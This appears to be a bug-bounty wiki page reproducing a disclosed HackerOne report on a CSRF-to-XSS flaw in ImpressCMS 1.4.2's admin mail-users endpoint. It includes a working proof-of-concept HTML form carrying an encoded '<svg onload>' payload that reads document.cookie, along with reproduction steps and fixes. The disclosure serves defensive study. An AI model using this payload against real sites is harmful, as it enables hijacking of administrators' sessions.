Skip to content
XSS Disclosed report Intermediate

CSRF to XSS in /htdocs/modules/system/admin.php

The memberslist_id and memberlist_uname[] POST parameters in the system admin module are not sanitised, allowing an attacker to inject script. Because there is no CSRF token check, an attacker can craft a page that, when visited by a logged-in privileged user, sends a request that triggers the script.

d3addog Follow

Originally disclosed on HackerOne

  • Triaged in 2 hours
  • Fixed in 21 months
  • Disclosed after 2.7 years

Summary:

The memberslist_id and memberlist_uname[] POST parameters in the scenario "/htdocs/modules/system/admin.php" are affected by XSS due to lack of user supplied data filtration. Due to lack of CSRF token verification it is possible for attacker to craft special web page, which will perform request to the vulnerable ImpressCMS application on authorised user behalf, upon visiting it.

ImpressCMS branch :

Impress CMS version: 1.4.2 PHP Version: 7.2.24

Browsers Verified In:

Firefox 85.0

Steps To Reproduce:

  1. Host a web server with the following page (note that url in form action should be modified with your testing address)
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<YOUR IMPRESS CMS HOST>/htdocs/modules/system/admin.php?fct=mailusers" method="POST">
        <input type="hidden" name="mail&#95;to&#95;group&#91;&#93;" value="2" />
      <input type="hidden" name="mail&#95;lastlog&#95;min" value="" />
      <input type="hidden" name="mail&#95;lastlog&#95;max" value="" />
      <input type="hidden" name="mail&#95;idle&#95;more" value="" />
      <input type="hidden" name="mail&#95;idle&#95;less" value="" />
      <input type="hidden" name="mail&#95;regd&#95;min" value="" />
      <input type="hidden" name="mail&#95;regd&#95;max" value="" />
      <input type="hidden" name="mail&#95;fromname" value="ImpressCMS" />
      <input type="hidden" name="mail&#95;fromemail" value="impress&#64;notexist&#46;notexist" />
      <input type="hidden" name="mail&#95;subject" value="" />
      <input type="hidden" name="mail&#95;body" value="&#123;&#36;smarty&#46;version&#125;" />
      <input type="hidden" name="mail&#95;send&#95;to&#91;&#93;" value="mail" />
      <input type="hidden" name="mail&#95;submit" value="Send" />
      <input type="hidden" name="op" value="send" />
      <input type="hidden" name="mail&#95;start" value="0" />
      <input type="hidden" name="memberslist&#95;id&#91;&#93;" value="asdf&apos;&gt;&lt;&#47;a&gt;&lt;svg&#47;onload&#61;alert&#40;document.cookie&#41;&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

  1. Login to your ImpressCMS application with privileged account
  2. In the same browser open web page from step 1 and click "Submit request"
  3. See the XSS payload fired

Suggestions to mitigate or resolve the issue:

Properly sanitise user input using built-in StopXSS function. Properly check CSRF token

Credits

This bug was found as a part of Solar Security CMS Reseach, with https://hackerone.com/d0bby, https://hackerone.com/wezery0, https://hackerone.com/silvereniqma in collaboration. Can you, please, add them to this report?

Impact

CSRF leading to XSS

Attachments

xss_csrf_impress.png
xss_csrf_impress.png From the original on HackerOne

The original report as published on HackerOne, by d3addog. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application fails to sanitise user-supplied input in the memberslist_id and memberlist_uname[] parameters and also lacks CSRF token verification.

Impact

An attacker could execute script in a privileged user's browser via the crafted page.

What the attacker needed

Victim is logged in as privileged user; victim visits attacker-controlled page

The fix

The application should properly sanitise user input using the built-in StopXSS function and properly check CSRF tokens.

How it was found

  1. Host a web server with a page containing a form that posts to the vulnerable admin.php endpoint.
  2. Log in to ImpressCMS with a privileged account.
  3. In the same browser, open the hosted page and click the submit button.
  4. Observe the XSS payload firing.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report is about two security holes in a content management system. One hole lets an attacker put harmful code into a form field, and the other lets that form be submitted from another website without the user knowing. Together, they mean a logged-in administrator could be tricked into running the attacker's code.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by d3addog

View all

3 more disclosed reports, best first.

More from ImpressCMS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.